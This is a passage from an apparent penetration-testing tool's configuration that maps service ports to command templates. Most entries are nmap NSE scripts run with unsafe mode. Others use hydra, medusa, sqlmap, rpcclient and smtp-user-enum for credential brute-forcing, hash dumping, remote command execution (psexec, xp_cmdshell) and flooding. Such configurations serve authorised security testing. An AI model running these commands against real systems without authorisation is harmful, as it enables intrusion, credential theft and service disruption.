--script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] 